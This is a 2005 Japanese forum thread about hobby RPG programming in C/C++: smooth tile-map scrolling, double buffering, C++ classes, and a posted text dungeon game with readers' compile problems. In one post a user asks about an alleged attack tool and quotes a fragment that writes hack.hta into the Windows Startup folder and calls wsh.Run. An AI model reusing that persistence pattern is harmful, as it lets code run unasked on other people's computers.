俺のバヤイ、年食ってるだけにそれなりの蓄積があるとゆーのが大きい。
リア工の頃からPC-8801でBASICとマシン語でゲームを作って遊んだりしてきたから
「あーゆー処理を実現するにはこーゆープログラムを書けばいいんだろーなー」みたいな
推測がつくことが多いんだよ。自分で考えたテクニックであることもあれば、
人のプログラムを読んで得たノウハウのこともある(今は亡き「ベーマガ」とかでね)。
このスレで誰かが俺の書いたプログラムを読んで何かを得てくれたりすれ最高!!
なーんて考えながら次回作を作ってまつ。
まあ、趣味のゲームプログラミングなんだし焦らず楽しみながらマターリやろう。
ツクールで、3Dで作れるの出て欲しい。
つ ツクール5
3DRPGを作るには、数学的なことが多いらしい。 マンドクセ
つーか 3Dモデル作ってテクスチャ書いてモーション付けて… ドット絵より難しくね? それでも3Dにしたいの?
3Dゲームは、行列演算と物理シミュレーションの塊だぞ。 数学と物理が嫌いだと何もできないよ。
BSPで地上マップを作って(マテ
ロック○ンエグゼ系みたいなドット単位に移動するのはどうやるんだ 講座orサンプル プリーズ
ロックマンエグゼがどう動くのかは知らないが、 キャラのドット移動? それとも、マップのドット移動??
マップのドット移動です
えーと、チップ単位の移動はできるん? できたら、簡単なコードを書いてみてー。
Cでゲーム作るの初めてなんです。
>>746 えー、質問ばかりで申し訳ないんですが、
今どこまでできてるのかな?
1:絵が表示できる
2:マップチップを画面にしきつめられる
3:マップチップをしきつめられたうえ、チップ単位のスクロールができる
あと、チップのサイズと画面のサイズも重要なんで、
教えてほしいのですが。。
1の画像を表示出来る程度です
忘れてました チップサイズは32*32で 画面は640*480 です
750 :
デフォルトの名無しさん :2005/07/01(金) 23:38:01
>>748 うはww
じゃあ、まずはマップを表示してくださいな。
最初は考え安いように、二次元配列でやったほうがいいかと。
#define MAP_X_MAX 25
#define MAP_Y_MAX 20
static unsigned char byMap[MAP_Y_MAX][MAP_X_MAX]
てな感じで二次元配列を用意して、
あとは自分で画面中に敷き詰める方法を考えてみましょう。
わからんかったら、また質問しにくるよろし。
ちょっとえらそうに書いてるが、私は超雑魚なので、
ほかにいい方法あったら、誰か提示してくれい。
そのまえに、一枚絵の画像を表示できたら、次の段階は、 一枚画像を使ったクリッピング処理だと思うが、それは出来るの?
あー、そかも ^^
>>749 絵はどうやって出してるんですか?
俺も最初は引数が多くて混乱していたような記憶が…。 int x = MapViewX / 32; int y = MapViewY / 32; int w = (MapViewX + 640) / 32; int h = (MapViewY + 480) / 32; int i,j; for(i=y;i<=h;i++){ for(j=x;j<=w;j++){ } }
[猫でもわかる]の本に載っているやり方で絵を表示してます。
大変申し訳ないのだが、
みんなが猫の本を持ってるわけではないので、
その答えではちょっと困るんだな。
猫でもわかるプログラミング
ttp://www.kumei.ne.jp/c_lang/ ↑のサイトでいうと、どの辺ですか?
あと、ちょっと質問と答えが、かみ合ってないような気がするので、
もう一度、今なにがやりたいか、なにができないかを書いてくれ。
SDK編第一部の26章のような感じ 前に書き間違いましたが 一応RPG作成系の本を持っていて、ランダムにチップを並べてそれをチップ単位のスクロールは出来ると思います。 やりたいことは、アクションRPGのようにマップをドット単位でスクロールさせることです。
>>756 私もひさびさなので、ちょっとやってみる。
ちょい待って。
お願いします。
クリッピング
760 :
757 :2005/07/02(土) 14:38:29
761 :
757 :2005/07/02(土) 14:50:15
// ??************** //************** ↑で囲まれたとこが、マップに関係あるとこです。
>>756 >一応RPG作成系の本を持っていて、ランダムにチップを並べてそれをチップ単位のスクロールは出来ると思います。
これは、チップの直接描き換えなどで「チップサイズの大きさ単位で」
スクロールできる(32ピクセル単位など)、ということ?
764 :
762 :2005/07/02(土) 15:39:59
>>763 なら、もう既にできている(マップ移動はチップ単位に処理を繰り返せば
よい)と思うんだがw マップのチップサイズとゲームのキャラクタ移動
や判定などの大きさは別にそろえる必要はないのだから。
さっきトリップ間違えた ドラ○エとかは一応1ドットずつスクロールしてますが、チップ単位の移動をしてますよね 聖剣伝説とかゼルダ系のゲームって知ってますか? あのスクロールがしたいんです。
1ドットずつスクロール
ttp://49uper.com:8080/html/img-s/64516.zip かっこ悪いのができちゃったんですが、
今日のところはこれで許してください ^^
汎用性は無いです。
1ドットずつが一番簡単だったので・・
スクロールの止め方もかなりカッコ悪いので、もっといい方法を考えてくださいませ。
あと、普通はクリッピング処理をして、
画面外は描画しないように表示用関数を自作すると思います。
・・いいわけ終了。
超雑魚でスマソ orz
767 :
762 :2005/07/02(土) 16:52:18
>>765 いや、だからドラクエ系のスクロールができるなら、移動の単位を
「チップ」じゃなくて「ドット」単位にするだけの気が……。
たとえばスクロールを「一回り大きなビットマップ」に一度マップ
を描いて、それをずらしながら転送しているなら(実際どうやって
いるのかわからんが)、転送開始位置の移動を「チップの大きさ」
ではなく、ドット単位で止めるとか。
ドット単位の方が楽じゃね?
ゼルダ系って初代ゼルダ? 何作もあってスクロールも色々あるからわかんねーよ
アドバンス版のゼルダ
表示画面のサイズ width,height 1チップのサイズ cx,cy 画面の中央にキャラを表示するものとして キャラの現在のワールド上座標を(x,y)とすると 表示画面原点のワールド上座標は view_x = x - width/2; view_y = y - height/2; チップサイズ単位のグリッドからのずれは offset_x = view_x % cx; offset_y = view_y % cy; したがって画面に敷き詰めるチップのposy行posx列目 の描画位置は draw_x = posx*cx - offset_x; draw_y = posy*cy - offset_y; マップデータ2次元配列上の初期位置は ini_x = view_x/cx; ini_y = view_y/cy; したがってposy行posx列目のチップのデータは map_data[posy + ini_y][posx + ini_x] ドット単位のスクロールをしたければ(x,y)を適当に 増減すればいい。
まとめサイトのあぷろだ使ったらIP抜かれる
>>773 何がやりたいかわからない
どこがどうゼルダ?
>>773 参加するのにMSN messangerって必須?
漏れ的に、IRCのが気楽でいいんですが・・・・・OTL
なんかチャンネル#makerpgとか作れば、名無しさんとかも入りやすいと思うんだが
777 :
766 :2005/07/02(土) 21:12:19
>>773 お、まとめサイト氏ですかね?
キャラのアニメーションはできたみたいですね。
ロダの方は、必要に応じて使わせていただきます。ども。
よくできてるね。>キャラ画
有名な素材サイトの画像 ライセンス違反だけどオレは騒いだりしないよ
>>766 のスクロールが結構良かった。
でもちょっと重いような・・・
だからgdiplus.dllを添付しろと。
782 :
デフォルトの名無しさん :2005/07/03(日) 01:07:08
>>766 です。ちょこっとほめられた♪
>>780 さんのプログラムの最終的なフレームレートが
いくつなのかはわかりませんが、
32ドットを1ドットずつ移動だと、凄く重く感じると思います。
1〜20ドットずつを指定しても、耐えられるスクロールをガンガって作って、
どれぐらいが自分のプログラムに適正なスピードかを見て、
最終的な移動速度を考えればいいかと。
ガンガってください。
できたら晒してちょ。
あ、そえば、
>>767 さんの言ってるやり方って、
ポピュラーな方法なんですかね?
>「一回り大きなビットマップ」に一度マップ を描いて、それをずらしながら転送
↑の方法だと、メモリは食うかもしれませんが、
(大きく読み込むときの速度も気になる)
毎回マップチップを一個一個貼り付けなくてもよさげなので、
描画速度を短縮できて、アクションゲームなんかには
良さそうなんですが・・
誰か、知ってる人います?
784 :
762 :2005/07/03(日) 01:26:16
>>783 大きくといってもせいぜい16*16が17*16になる程度だから、それほど問題
はないかな。RPG作る時は、面倒だから15*15の表示領域なら、17*17チップ
描くスクロールビットマップ作ったりして。
スクロール量は、2ピクセル位が滑らかさと速度のバランスが良いかも。
>>784 あー、なるほど。ちょっと勘違いをしてました。
私はまた、一気に(128*128ぐらい?)別領域に書いて、
それを毎回1画面ぶん転送するのかと思ってました。
早とちりでした。どうもです。
ラスタデータは一気に描画できたほうが早いからな。
788 :
(・∀・)作ってミターヨ :2005/07/03(日) 08:36:22
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <malloc.h> int rnd(int n){return(int)(n*rand()/(RAND_MAX+1.0));} int *makemaze(int w,int h,int x,int y){int *maze,distance,i,j,n,tx,ty,xoffset[4]={1,0, -1,0},yoffset[4]={0,1,0,-1},dir,choices[4],exit[3];maze=(int*)malloc(sizeof(int)*w*h); for(i=0;i<w*h;i++)maze[i]=1;maze[x+y*w]=0;exit[0]=distance=0;dir=-1;for(;;){n=0; for(i=0;i<4;i++){tx=x+xoffset[i]*2;ty=y+yoffset[i]*2;if(tx>0&&tx<w&&ty>0&&ty<h&&maze [tx+ty*w]==1)n++;}if(n<2)dir=-1;n=0;choices[0]=choices[1]=choices[2]=choices[3]=0; for(i=0;i<4;i++){if(i==dir&&rnd(2)==0)continue;tx=x+xoffset[i]*2;ty=y+yoffset[i]*2; if(tx>0&&tx<w&&ty>0&&ty<h&&maze[tx+ty*w]==1)choices[n++]=i;}if(n==0){/*deadend*/for (i=0;i<4;i++){tx=x+xoffset[i];ty=y+yoffset[i];if(tx>0&&tx<w&&ty>0&&ty<h&&maze[tx+ty *w]==2)break;}if(i==4)break;/*done*/if(exit[0]<distance){exit[0]=distance;exit[1]=x; exit[2]=y;}maze[x+y*w]=0;x+=xoffset[i];y+=yoffset[i];maze[x+y*w]=0;x+=xoffset[i]; y+=yoffset[i];distance-=2;}else{/*dig 1 block*/dir=choices[rnd(n)];x+=xoffset[dir]; y+=yoffset[dir];maze[x+y*w]=2;x+=xoffset[dir];y+=yoffset[dir];maze[x+y*w]=2;distance +=2;}}for(y=2;y<h-2;y+=2){for(x=2;x<w-2;x+=2){n=0;for(i=-1;i<=1;i++)for(j=-1;j<=1;j++) n+=maze[(x+i)+(y+j)*w];if(n==2&&rnd(3)==0){maze[x+y*w]=0;break;}}}x=exit[1];y=exit[2]; maze[x+y*w]=2;return maze;}char *img[35];int ind[32]={
789 :
(・∀・)作ってミターヨ :2005/07/03(日) 08:36:47
0,1,2,3,4,5,6,5,7,8,9,10,11,12,13,12,14,15,16,17,18,19,20,19,21,22,23,24,18,19,20,19}; void makeimg(void){char *ch[]={" "," ","\","/","|"," ̄","_","○","大","\n"}; char *src[25]={"11111911111911711911811","2111190401119040711931811", "6111190401119040711951811","21111911111911711931811","1666190400004090407040915851", "266619040104090407040935851","66661900001040900007040955851","1111691110409117040911815", "211169040104090407040931815","611169040104090407040951815","21116901010409117040931815", "1666690401119040711915855","2666690401119040711935855","66666911111911711955855", "1111391110409117040911812","21113904114090407040931812","61113904114090407040951812", "2111391110409117040931812","1666390400004090407040915852","266639040104090407040935852", "666639000010409117040955852","11113911111911711911812","2111390401119040711931812", "6111390411109040711951812","21113911111911711931812"}; int i,j;for(i=0;i<25;i++){img[i]=(char*)malloc(44);img[i][0]='\0'; for(j=0;j<strlen(src[i]);j++)strcat(img[i],ch[src[i][j]-'0']);}}char *msg[3]; void makemsg(void){char *src[3]={"Obn GnQnSP gc RWwnynXX hWVVzgVX qq", "\nGggC, obnVn'X XgwnobzSQ Wo BgDV cnno...\n", "\n*** xjRalHOAGHOqjRL ***\n\npgD cgDSP obn oVnWXDVn gc obn PDSQngS!!"};char enc[]= "uHAUjOTqIvKPdziZxCkFEpYJbhWaGLSnecfQgotXsVrMBylRNwmDu";int i;char *p,*c;for(i=0;i<3; i++){p=msg[i]=strdup(src[i]);while(*p){c=strchr(enc,*p);if(c){*p=*(c+1);}p++;}}}static int dirxoffset[4][5]={{-1,-1,0,1,1},{0,1,1,1,0},{1,1,0,-1,-1},{0,-1,-1,-1,0}};static int diryoffset[4][5]={{0,-1,-1,-1,0},{-1,-1,0,1,1},{0,1,1,1,0},{1,1,0,-1,-1}};int getimg(int *maze,int w,int h,int x,int y,int dir){int img,i,tx,ty;img=0;for(i=0;i<5;i++){tx=x+ dirxoffset[dir][i];ty=y+diryoffset[dir][i];if(maze[tx+ty*w]==1)img|=(1<<i);}return img;}
790 :
(・∀・)作ってミターヨ :2005/07/03(日) 08:38:49
void pause(void){char buf[32];printf("ENTER> ");fflush(stdout);fgets(buf,sizeof(buf), stdin);}int main(){int w=11,h=11,*maze,x,y,tx,ty,dir,floor,hp,hpmax,lv,exp,bound,hour,day, mode,enemy,e_hp,e_lv,i,j,d;char buf[1024],*e_name,*dirname="NESW";srand(time(NULL));makeimg(); makemsg();lv=1;hp=hpmax=lv*25;exp=0;bound=22;hour=0;day=1;mode=1;enemy=0;x=1;y=1;dir=1; floor=1;if(0){/*levels*/int b=bound,p=0,nfights=6;for(i=1;i<=10;i++){int delta=(int)((i+1.5) *2.5*nfights);printf("lv=%2d, avg(exp)=%3d, bound=%3d += %3d, #fights=%.2f\n",i,(int)((i+0.5) *2.5*nfights),b,(b-p),(b-p)/((i+0.5)*2.5));p=b;b+=delta;}}printf("\n<><><> %s <><><>\n", msg[0]);newlevel:maze=makemaze(w,h,x,y);if(floor==1&&maze[(x+1)+y*w]==1)dir=2; printf("\nYou're on the %d%s floor of the dungeon! Be careful!\n\n", floor,(floor==1)?"st":(floor==2)?"nd":(floor==3)?"rd":"th");if(0){/*spoiler*/ for(j=0;j<h;j++){for(i=0;i<w;i++){switch(maze[i+j*w]){case 0:printf("..");break; case 1:printf("[]");break;case 2:printf("<>");break;}}printf("\n");}printf("\n");} for(;;){if(mode==1){i=getimg(maze,w,h,x,y,dir);printf("**********\n%s\n**********\n", img[ind[i]]);}printf("Status: hp=%d, lv=%d, exp=%d, floor=%d, x=%d, y=%d, dir=%c\n", hp,lv,exp,floor,x,y,dirname[dir]);if(floor==10&&maze[x+y*w]==2)break;if(enemy&&rnd(10)==0)
791 :
(・∀・)作ってミターヨ :2005/07/03(日) 08:39:26
{char*enemies[]={"Slime","Draky","Ghost","Lizardman","Scorpion","Skelton","Chimera", "Knight","Golem","Demon","Dragon"};printf("\n*** You encoundered an enemy!! ***\n\n"); e_lv=floor+rnd(2);/*avg:1.5*/e_hp=e_lv*8+rnd(e_lv*2);e_name=enemies[e_lv-1];printf ("It's a %s!! (HP=%d)\n",e_name,e_hp);mode=0;}enemy=0;input:printf("Command: ");switch (mode){case 0:/* FIGHTING */printf("[0] attack, [9] escape\n");break;case 1:/* EXPLORING */ printf("[4] turn left, ");tx=dirxoffset[dir][2];ty=diryoffset[dir][2];if(maze[(x+tx)+(y+ty) *w]==0)printf("[8] go ahead, ");printf("[6] turn right, [9] take a rest\n");if(maze[x+y*w] ==2)printf("[0] go down the stairs\n");}if(fgets(buf,sizeof(buf),stdin)==NULL){printf ("EOF\n");return -1;}switch(mode){case 0:/* FIGHTING */if(strcmp(buf,"0\n")==0) {d=rnd(100);if(d<lv*2+60){if(d<5+lv){printf("CRITICAL HIT!!\n");d=lv*12+rnd(lv*3);}else {printf("Hit!!\n");d=lv*4+rnd(lv*2);}printf("You gave %d point%s of damage to the %s!!\n", d,d>1?"s":"",e_name);e_hp-=d;if(e_hp<=0){pause();printf("You defeated the %s!\n",e_name); pause();d=e_lv*2+rnd(e_lv);/*avg:2.5*/printf("You got %d points of experience!!\n", d); exp+=d;pause();if(exp>=bound) {lv++;hpmax=lv*25;bound+=(lv+1.5)*2.5*6;printf("LEVEL UP!!\n"); pause();printf("You're now Nameless Warrior Level %d!! (max HP=%d)\n",lv, hpmax);pause();}
792 :
(・∀・)作ってミターヨ :2005/07/03(日) 08:39:56
mode=1;break;}}else{printf("Missed!!\n");}enemy:pause();if(e_hp>0){printf("The %s's attack!!\n", e_name);pause();d=rnd(100);if(d<30+(e_lv-lv)*10){printf("Hit!!\n");d=e_lv*2+rnd(e_lv); printf("You got %d point%s of damage!!\n",d,d>1?"s":"");hp-=d;}else{printf("Missed!!\n");}}} else if(strcmp(buf,"9\n")==0) {d=rnd(100);if(d<50+(lv-floor)*25){printf("Miss!!\n"); goto enemy;}else{printf("You escaped!!\n");mode=1;}}else{goto input;}pause();if(hp<=0){ printf("You died...\n\n*** GAME OVER ***\n\n");return -1;}break;case 1:/* EXPLORING */ if(strcmp(buf,"8\n")==0){/*go ahead*/tx=dirxoffset[dir][2];ty=diryoffset[dir][2]; if(maze[(x+tx)+(y+ty)*w]==1)goto input;x+=tx;y+=ty;hour++;if(hp<hpmax)hp++;enemy=1;}else if(strcmp(buf,"6\n")==0){dir++;if(dir>3)dir=0;/*turn right*/}else if(strcmp(buf,"4\n")==0) {dir--;if(dir<0)dir=3;/*turn left*/}else if(strcmp(buf,"0\n")==0){if(maze[x+y*w]!=2)goto input; printf("You went down the stairs...\n");pause();floor++;free(maze);goto newlevel;}else if(strcmp(buf,"9\n")==0){printf("You took a rest.\n");hp+=5+rnd(5);if(hp>hpmax)hp=hpmax; hour+=4;}else{goto input;}if(hour>=48){day++;hour-=48;printf("\n*** Day %d ***\n\n", day);} break;}}printf(msg[1]);pause();printf("%s (in %d days)\n",msg[2],day);return 0;}
793 :
(・∀・)作ってミターヨ :2005/07/03(日) 08:42:40
《取扱説明書》 藻前様は一攫千金を狙う名も無き剣士だよ。 凶悪なモンスターたちの巣食う地下迷宮にもぐってお宝をゲト汁! 歩くとモンスターに遭うよ。戦うか逃げるか汁! 歩くとHPが回復するよ。休むとHPが多めに回復するよ。 ただし時間も多めに過ぎる諸刃の剣。玄人にはお勧めできない。 お宝は地下10階にあるというウワサだよ。 下に行くほど敵も強くなるよ。幸運を祈る!
エラーでコンパイル出来なかった
795 :
(・∀・)作ってミターヨ :2005/07/03(日) 09:29:48
>>794 コピペに失敗してるんじゃないかな。
日付の行は消さないとダメだよ。
あと、メモ帳だと変なところで改行される悪寒。
ウィンドウの横幅を拡げてから保存するといいみたい。
コピペはちゃんと出来てるはず txやtyが定義されてないとかのエラーが出た でもソースにはちゃんと int tx, ty と書いてあった 以前あなたが公開したゲームも同じようなエラーが出ました
ってか普通にアップすればいいじゃない
コピペだけでもエラー出なかったよ 貼り付けてるエディタの仕様によるんじゃ
コンパイラはBCC5.5です
>>793 おつかれさまです。
3Dダンジョンの描写にびっくりしました。
夜にでも、じっくりやってみます。
VC++0.6は、コピペで通りました。
警告が二つでたけど、おそらく無問題。
801 :
デフォルトの名無しさん :2005/07/03(日) 11:37:18
■■■■■■■■■■■■■■■■ ■ ■ 違う板にコピペすると、四角の枠の中に ■ ■ メッセージとURLが現れる不思議な絵。 ■ ■ ■ ■ (その仕組みがリンク先に書いてある) ■ ■ ■ ■ この原理を応用すると、まったく新しい ■ ■ コピペが作れる予感。 ■■■■■■■■■■■■■■■■
>>796 >int tx ty
セミコロンはちゃんと付いてたか?
ドット単位のスクロールをするマップって重いからDirectDraw使った方がいい?
>>803 >>766 を組んだ者ですが、
>>782 を読んでくれよ。。
フレームレートって、わかります?
普通のパソコンで、ヤバい描画さえしてなければ、
DirectXは無くてもゲームに耐えられる速度は出るはずです。
じゃあこのままでいいっすね
一応2ドット単位のスクロールにしてる
>>802 付いてたよ
806 :
デフォルトの名無しさん :2005/07/03(日) 13:08:15
すげえ段ジョンRPGや クリアする気おきねえうぇうぇうぇ
vipperうぇうぇwwwうぇwwwww
>>805 一応 gcc -Wall -ansi -pedantic で通ったから(warning2個あり)、
普通の環境ならまず通ると思う。
今でてる情報からはこれしか書けん。
bccってのが微妙だな。
810 :
デフォルトの名無しさん :2005/07/03(日) 14:36:53
>>804 漏れのペン3カトマイコア500メガヘルツは普通の範疇ですか?
>>810 Pentium4 3.8ギガHz Athlon64 X2 4200+が普通です。
VS .Net 2003で出来ましたよ。 警告が3個あったけど
うpろだにあげんのか bccで警告9個でた 問題は出てないけど クリアはようせんわ
まとめサイトのうpロダに改行したコードをあげようかと思ったら.cのファイルをうpできなかった。 めんどくさいし無許可だから皆各自でやってくれ
そのゲームのことはもういいです。 諦める ゲームを作る方を頑張る
・・・
自分でコード開けば分かると思うけどなぁ 俺にはそんなしこりが残ることはできないな
コンパイルも出来ないのに他のをやるのか
.cファイルをアーカイブしてからうpすればいいのに
>>821 おー、ちゃんと動きました。
キレイにスクロールしてます。凄い。
ちなみに、これはなにで描画してるんですか?
>>821 凄い…差支えが無ければソースやヒントを欲しいもんですけどどうなんでしょうか…
824 :
821 :2005/07/03(日) 22:42:15
ダウンできました
>>824 すごいー。クラスってのは、こうやって使うんですね (:^_^
私とレベル違いすぎてよくわかんないんですが、
明日からいっぱい質問しちゃうかも・・
ほんとにすごいです。 自分も同じくよく理解できませんでしたが・・・ これのマップが出来れば結構いけるんじゃないですか
829 :
デフォルトの名無しさん :2005/07/04(月) 13:17:34
>>793 初心者ですいません。コンパイルすると
以下のエラーになります。原因はなんでしょうか?
game.c: In function `makeimg':
game.c:23: error: プログラムとして逸脱した文字 '\239'
game.c:23: error: プログラムとして逸脱した文字 '\188'
game.c:23: error: プログラムとして逸脱した文字 '\143'
game.c:23: error: 文字列定数の前に 文法エラー
game.c:23: error: プログラムとして逸脱した文字 '\239'
game.c:23: error: プログラムとして逸脱した文字 '\189'
game.c:23: error: プログラムとして逸脱した文字 '\156'
game.c:23: error: プログラムとして逸脱した文字 '\239'
game.c:23: error: プログラムとして逸脱した文字 '\191'
game.c:23: error: プログラムとして逸脱した文字 '\163'
game.c:23: error: プログラムとして逸脱した文字 '\239'
game.c:23: error: プログラムとして逸脱した文字 '\188'
game.c:23: error: プログラムとして逸脱した文字 '\191'
game.c:23: error: プログラムとして逸脱した文字 '\226'
game.c:23: error: プログラムとして逸脱した文字 '\151'
game.c:23: error: プログラムとして逸脱した文字 '\139'
game.c:23: error: プログラムとして逸脱した文字 '\229'
game.c:23: error: プログラムとして逸脱した文字 '\164'
game.c:23: error: プログラムとして逸脱した文字 '\167'
game.c:23: error: プログラムとして逸脱した文字 '\'
" 文字での終端を欠いています
game.c:34: error: `src' が宣言されていません (この関数内で最初に利用)
game.c:34: error: (未宣言の各変数については、それが最初に現われたそれぞれの関数
game.c:34: error: に対して一度だけ報告されます。)
>>829 レスをコピペしたあと、レス番と顔文字のある行を削除し給え。
>>829 789 名前:(・∀・)作ってミターヨ[] 投稿日:2005/07/03(日) 08:36:47
↑こういう行は削除してる?
832 :
デフォルトの名無しさん :2005/07/04(月) 14:52:20
すいません ちょっと質問があります 中国人が 2chを攻撃する計画を 立てていてそのサイトの監視を しているのですが 奴らの製作している攻撃ツールの事を調べています 私、プログラムわからないのですが どなたか これの意味がわかるかた いますか? Hacking Your Computer . scr.Reset(); scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\hack.hta"; scr.Doc=" wsh.Run('start.
>>824 お勉強になりまくりんぐ。
人のプログラム読むのはメチャ苦手だけど、
821さんのは一貫性があって、慣れるとなんか読み安いし。
(細かい計算とかは意味不明ですが・・)
関心するとともに、自分に課題が山積みですわ orz
できることからしよう。うん。そうしよう。
まガンバr
みんなC++で作ってるの?
>>833 安いし関心するのか。なかなか失礼なやつだな。
>836 俺はC++
>>838 そうか・・・
まだC勉強中だから、もう少しあとでくるよ。
昔RPG作りかけてほってあるorz
>>824 のプログラムを改造してみるか…
期待
マップエディター作ろうと思てるんですけど マップデータのフォーマットってCSVでよかとですか?
>>842 よくわからないけど、いいんじゃないかな
その辺俺はよくわからないから、勉強してきます。
>>842 テキストファイルは勝手に改造されるリスクがあるな
げ、そこまで気をつけなきゃいけないんですか?
846 :
762 :2005/07/04(月) 19:27:35
>>836 以前CでRPG(らしきもの。マップスクロールと戦闘、イベント処理までで
エンディングなどはなし)を作った時はCだったな。約2000行w
>>842 普通にバイナリの方が扱いやすい気がする。
847 :
821 :2005/07/04(月) 22:17:16
msimg32.dllが無いので実行できない、OSが古いからかな(涙 これって、何のライブラリだろ? なんかおれも作りたくなってきたなぁ。 ティアリングはDirectXの垂直同期とかで回避なのかな。 リフレッシュレートに間に合わなければバックバッファ転送を見送るって手もある、 その分、FPSは下がるけどね。 FPSに余裕があるなら、マルチメディア大麻でエセ同期かなぁ。
849 :
デフォルトの名無しさん :2005/07/05(火) 02:35:27
>>824 おつです。実行ファイルは普通に実行できたのですが、
ソースをコンパイルしようとすると、以下のエラーがでてきます。
どうも、デストラクタがプライベートで宣言されてるから
アクセスできないとかなんとか書いてあるようですが、
これは私のコンパイラ特有の問題なんでしょうか?
VC++6.0 Standard です。
CBackBuffer.cpp
c:\my_program\cでrpg\crpg_821_02\cbackbuffer.h(43) : error C2248: 'CBackBuffer::~CBackBuffer' : private メンバ (クラス 'CBackBuffer' で宣言されている)にアクセスできません。
c:\my_program\cでrpg\crpg_821_02\cbackbuffer.h(10) : 'CBackBuffer::~CBackBuffer' の宣言を確認してください。
CBitmapContainer.cpp
c:\my_program\cでrpg\crpg_821_02\cbitmapcontainer.h(65) : error C2248: 'CBitmapContainer::~CBitmapContainer' : private メンバ (クラス 'CBitmapContainer' で宣言されている)にアクセスできません。
・
・
CRPG_821_02.exe - エラー 6、警告 0
あ、すみません。↑のは、
>>847 に上げて下さってる
ソースのことです。
853 :
850 :2005/07/05(火) 09:50:46
>>852 今度はコンパイルできました。感謝!
お、マップが出来てる!って思ったら、一枚絵ですかww
CBitmapになんか色々入ってて、ますます解読不能に・・
>>852 GCC(mingw)でもコンパイルと動作を確認しますたよ。
srcディレクトリで実行すると落ちるで少し困惑しますが。^^;
おおー!msimg32.dll無くても動作しますた! 原因はLoadImageでしたか。 ビルドはGameMain.cppにstdioをincludeすれば通りました。<vsprintf未定義 コンパイラはbcc32です。 あと「<静的変数>を含む関数はインライン展開できない」という警告が沢山でました。 ティアリングは意識すれば気になる程度ですかね。 或いは液晶だからあまり気にならないのかもしれません。
856 :
829 :2005/07/05(火) 14:41:49
>>830 >>831 コピペは何回も確認したつもりです。作ってミターヨさんの前のゲームは
普通にコンパイルし遊びました。
fedora core3使ってます。
gcc -o game game.c とコマンドしたのですけど。
何回もしたのですが同じエラーが出ました。
789 名前:(・∀・)作ってミターヨ[] 投稿日:2005/07/03(日) 08:36:47このような行は
削除してます。なんでだろう??
>>856 unixなら文字コードをEUC-Jにしてコピペしてみては。
>void makeimg(void){char *ch[]={" "," ","\","/","|"," ̄","_","○","大","\n"};
Fedora だと UTF-8 だね。 malloc(44) の部分、44→80 ぐらいに増やさないと buffer overflow になる鴨。 あと、xterm って日本語を等幅フォントで表示できる? (設定方法が分からない・・・) 等幅でないと3D表示がズレると思われ。
マップの動作は、マップのワールド座標の操作でやるべきか・・
ttp://49uper.com:8080/html/img-s/64928.zip >>766 のを作り直してみました。
動作はほとんど変わってないのですが、
>>821 さんにちょっとでも近づくために、クラスを使ってみました。
ダブルバッファとクリッピングをしてないので、(できないんですけどね ^^)
かなりしょぼいですが・・。
クラスって初めて本格的に使うんですが、
デストラクタでメモリ開放すればメモリリークしないんですよね?
あと、クラス変数を宣言するときは、グローバルスコープでドーンと宣言しちゃっても
いいんでしょうか?
読みにくいプログラムで申し訳ありませんが、
誰か回答よろ m(__)m
>>860 グローバルスコープに実体を作るとコンストラクタ・デストラクタの呼ばれる
タイミングが曖昧になるので、どこかでnew, deleteするのがいいかも。
(俺は面倒臭いのでドーンと宣言してる(・w・))
// グローバル
CHoge *g_pHoge;
void WndProc(...)
{
/* いろいろ省略 */
case WM_CREATE:
g_pHoge = new CHoge;
break;
case WM_DESTROY:
delete g_pHoge;
break;
}
クラスの作り方は問題ないかもしれない。
というより俺のクラスに対する基準が間違ってる可能性もあるわけで・・・。
他の人の意見も聞きたいねぇ。
ソース見てて気になったのはWM_PAINTメッセージを処理してるところ。
ここでCreateCompatibleDC()やDeleteDC()は呼ばない方がいいかも。
862 :
861 :2005/07/05(火) 21:36:22
WndProcの戻り値の型がvoidになってる・・・ orz
>>861 821さんでしょうか?
マップはいずれファイルから読み込んだりしそうですし、
メモリ削除の関数も、作っておいて損はなさそうですね。
メモリ削除関数は、デストロイに置くことにしまっす。
絵の出し方とか、ウィンドウの作り方は
某サイトからコピってきたものですから、
実はよくわからなかったり・・。
もうちょっと研究してみます。レスどうもです!
俺も作ってみたけど、ちらつくな。 バッファ二つ作って交互に描画、フリップしてるんだが。
トリプルバッファリングしたとしても帰線消去間隔を待たなければ 問題解決しないかもね。
DirectXに汁!
でも、Javaでダブルバッファリングで綺麗に動かせるんだから、 directx使うまでもなく、なんか方法がありそうなもんだけど。
分かった! graphic.hだ。
869 :
デフォルトの名無しさん :2005/07/06(水) 00:32:43
犯人はgraphic.h。
JavaもDirectX使ってるんだよな
Ω ΩΩ <ナ、ナンダッテー?!
JavaはOpenGLとDirectXの好きなほうを選べる。 普通に全画面にしたりもできるぞ。
873 :
デフォルトの名無しさん :2005/07/06(水) 08:09:10
C/C++なんて旧石器時代の言語より最新テクノロジーのJavaで作ろうぜ
875 :
デフォルトの名無しさん :2005/07/06(水) 15:07:08
>>872 それは、別にC/C++でもおんなじじゃ・・・。
>>875 Javaじゃできないと思ってる人も結構いると思うんだな。スレ違いだが。
Javaのスレも立ててよ C/C++とJavaで競争しよーぜ
そっちはそっちで勝手にやってくれ・・
最新を歌うならDとかだろ。 テクノロジ的にはなんも新しくないんだし>Java 競争するほどの活気も見受けられないしな・・・。
以前はJavaでゲームを作ろうとするとキチガイ扱いだったしな
D言語+OpenGLのシューティングゲームはあったよな。 Win32APIも使えるから楽勝じゃないだろうか。 D言語を学ぶ際の参考になるサイトが少なすぎるのが問題であって。
次スレは言語限定しなくていいんじゃね? 競争したほうが言語の良いところ悪いところがハッキリする DやPythonもゲーム作りやすいらしいから見てみたい
限定なしにするとな多言語叩きまくりだけでスレが消費されるに820レス
>>882 同意。言語毎の競争はともかく、C/C++に制限する理由は無い品。
それならばRPGに限定するのも(rya
ジャンル縛りがないと、何をつくりゃいいのか……で停滞する予感。
そんなん、自分の好きなのを作ればいいよ
別にここまで伸びたスレで、今も悪い流れじゃないんだから、 わざわざスレの趣旨を変える必要はないと思うが。
RPGっていう縛りはあった方がいいよ 初心者が作りたいゲームジャンルNo.1だしなw 次点:MMO
ALGOL系言語限定とか
HSP厨でこのスレのレベルについて来れる奴いるの?
レベルというか、マップ出してキャラ動かす程度ならHSPで簡単なんじゃねーの?
HSPとRubyは除くという文言を入れておこう Lispを入れてもいいが入れなくてもどうせこないだろう
896 :
821 :2005/07/07(木) 00:15:46
DirectGraphics使ったらティアリング回避できたYO!
>>896 そりゃそうです。バックバッファの管理も全自動。
